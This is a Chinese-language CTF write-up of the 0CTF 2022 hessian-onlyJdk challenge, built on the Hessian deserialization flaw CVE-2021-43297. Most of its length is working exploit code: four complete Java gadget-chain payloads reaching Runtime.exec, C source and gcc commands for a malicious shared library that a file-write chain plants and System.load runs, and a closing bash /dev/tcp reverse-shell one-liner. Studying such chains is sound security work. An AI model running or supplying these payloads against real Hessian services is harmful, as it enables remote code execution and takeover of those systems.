
好久没有学习新的ctf知识点了,复现一下近期出现的一个hessian-onlyJdk
题目源码下载:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk
看到环境只有hessian 4.0.38和openjdk 8u342,源码就是一个hessian2反序列化,相当于打jdk原生链

预期
我们先来学习一下触发到toString()的利用,Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
CVE-2021-43297
漏洞在com.caucho.hessian.io.Hessian2Input#expect()
这里

可以看到有个readObject()
的操作,接着就是一个String和对象的拼接,很明显会调用toString()
并且发现在com.caucho.hessian.io.Hessian2Input#readString()
中就有expect()
的调用

需要default条件才会调用,我们只需要取default上面没有条件的case就行了
这里取case 67的时候调用 readObjectDefinition 方法进入readString
直接baos写进去就可以了:
1 2 3 4 5 6 7 8 9
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); baos.write(67); output.writeObject(evilClass); output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject();
|
调用栈如下:
1 2 3 4
| expect:2880, Hessian2Input (com.caucho.hessian.io) readString:1398, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io) readObject:2122, Hessian2Input (com.caucho.hessian.io)
|
实际上触发点不止这一个:
- case 77 调用 readtype ,进入 readInt 触发expect
- case 79 调用 readInt 触发expect
- case 81 调用 readInt 触发expect
题目给出的 hint 中,有一个toString利用链:https://x-stream.github.io/CVE-2021-21346.html
1 2 3 4 5 6
| javax.swing.MultiUIDefaults#toString UIDefaults#get UIDefaults#getFromHashTable UIDefaults$LazyValue#createValue SwingLazyValue#createValue javax.naming.InitialContext#doLookup()
|
sun.swing.SwingLazyValue#createValue
可以调用任意静态方法或者一个构造函数

但是发现没法使用:
javax.swing.MultiUIDefaults
是package-private类,只能在javax.swing.
中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
- 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
需要找个类替代MultiUIDefaults
,由于UIDefaults
是继承Hashtable的 ,所以需要从toString()到HashTable.get()
注意:Hessian可以反序列化未实现 Serializable 接口的类
PKCS9Attributes+SwingLazyValue+JavaWrapper._mian
找到sun.security.pkcs.PKCS9Attributes

跟进getAttribute

这个this.attributes
刚好是个HashTable
接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper
的_mian
方法

看到实例化一个JavaWrapper,进入wrapper.runMain

使用反射调用了类的_main
方法,只需要给类里面加一个_main
方法即可实现命令执行
看到loader.loadClass

发现是一个bcel classloader,写一个恶意类:
1 2 3 4 5
| public class test { public static void _main(String[] argv) throws Exception { Runtime.getRuntime().exec("calc"); } }
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;
public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper { public static void main(String[] args) throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); JavaClass evil = Repository.lookupClass(test.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(baos); baos.write(67); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(s); out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); }
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util) _main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) getAttribute:265, PKCS9Attributes (sun.security.pkcs) toString:334, PKCS9Attributes (sun.security.pkcs) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) expect:2880, Hessian2Input (com.caucho.hessian.io) readString:1398, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io) readObject:2122, Hessian2Input (com.caucho.hessian.io)
|
参考:0CTF2022-hessian-onlyjdk-WriteUp
MimeTypeParameterList+SwingLazyValue+MethodUtil.invoke
大佬们又找到了另外一条链,javax.activation.MimeTypeParameterList

可以看到MimeTypeParameterList对this.parameters
调用了一个get,并且parameters是一个Hashtable
接下来就是找一个public static方法,找到了sun.reflect.misc.MethodUtil
的invoke方法

这里对MethodUtil.invoke
进行了两次调用,第一次满足进入invoke条件,第二次就是执行命令了

最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class Hessian_MimeTypeParameterList_SwingLazyValue_MethodUtil { public static void main(final String[] args) throws Exception { UIDefaults uiDefaults = new UIDefaults(); Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("key", slz); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); baos.write(67); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(mimeTypeParameterList); output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| invoke:275, MethodUtil (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) toString:253, MimeTypeParameterList (javax.activation) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) expect:2880, Hessian2Input (com.caucho.hessian.io) readString:1398, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io) readObject:2122, Hessian2Input (com.caucho.hessian.io)
|
参考:
0CTF2022复现
与 CVE-2021-43297 相关的两道题目
MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load
这里m0onsec师傅找到一个写文件的链:jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode

可以看到参数都是可控的,写后缀为.class文件,并且目录不存在的话会创建目录
但是因为ClassLoader的原因 ,在SwingLazyValue这里只能加载 rt.jar 里面的类,而DumpBytecode类在 nashorn.jar 里面
最后找到ProxyLazyValue.createValue

这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null
我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
首先创建一个动态链接库
1 2 3 4 5 6 7
| #include <stdlib.h> #include <stdio.h>
void __attribute__ ((__constructor__)) calc (){
system("calc"); }
|
然后执行gcc -c calc.c -o calc && gcc calc --share -o calc.so
生成恶意so文件
写文件payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import jdk.nashorn.internal.runtime.ScriptEnvironment; import jdk.nashorn.internal.runtime.logging.DebugLogger; import sun.misc.Unsafe;
import javax.swing.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode { public static void main(String[] args) throws Exception { Unsafe unsafe = getUnsafe(); Object script = unsafe.allocateInstance(ScriptEnvironment.class); setFieldValue(script,"_dest_dir","/tmp/"); Object debug=unsafe.allocateInstance(DebugLogger.class); byte[] code= Files.readAllBytes(Paths.get("./calc.so")); String classname="calc";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{ script, debug, code, classname });
setFieldValue(proxyLazyValue,"acc",null); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList"); Object mimeTypeParameterList = unsafe.allocateInstance(clazz); setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(baos); baos.write(67); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(mimeTypeParameterList); out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Unsafe getUnsafe() throws Exception{ Class<?> aClass = Class.forName("sun.misc.Unsafe"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance(); return unsafe; } }
|
最后加载即可,注意linux和windows生成的so文件存在区别
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:71, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing) doPrivileged:-1, AccessController (java.security) createValue:1087, UIDefaults$ProxyLazyValue (javax.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) toString:290, MimeTypeParameterList (java.awt.datatransfer) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) expect:2880, Hessian2Input (com.caucho.hessian.io) readString:1398, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io) readObject:2122, Hessian2Input (com.caucho.hessian.io)
|
参考:0ctf2022 hessian-only-jdk writeup jdk原生链
非预期
0ops师傅的解法是直接走的Hashtable.equals这个入口,不从tostring()走

payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import com.caucho.hessian.io.*; import java.io.*; import java.util.HashMap; import javax.swing.UIDefaults; import sun.swing.SwingLazyValue;
public class Hessian_onlyJdk { public static void main(final String[] args) throws Exception { Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class); SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
UIDefaults uiDefaults1 = new UIDefaults(); uiDefaults1.put("_", slz); UIDefaults uiDefaults2 = new UIDefaults(); uiDefaults2.put("_", slz);
HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); Hessian2Output oo = new Hessian2Output(bos); oo.getSerializerFactory().setAllowNonSerializable(true); oo.writeObject(hashMap); oo.flush();
ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input(bai); hessian2Input.readObject(); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| invoke:275, MethodUtil (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) equals:814, Hashtable (java.util) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io)
|
最后使用bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/port 0>&1
反弹shell即可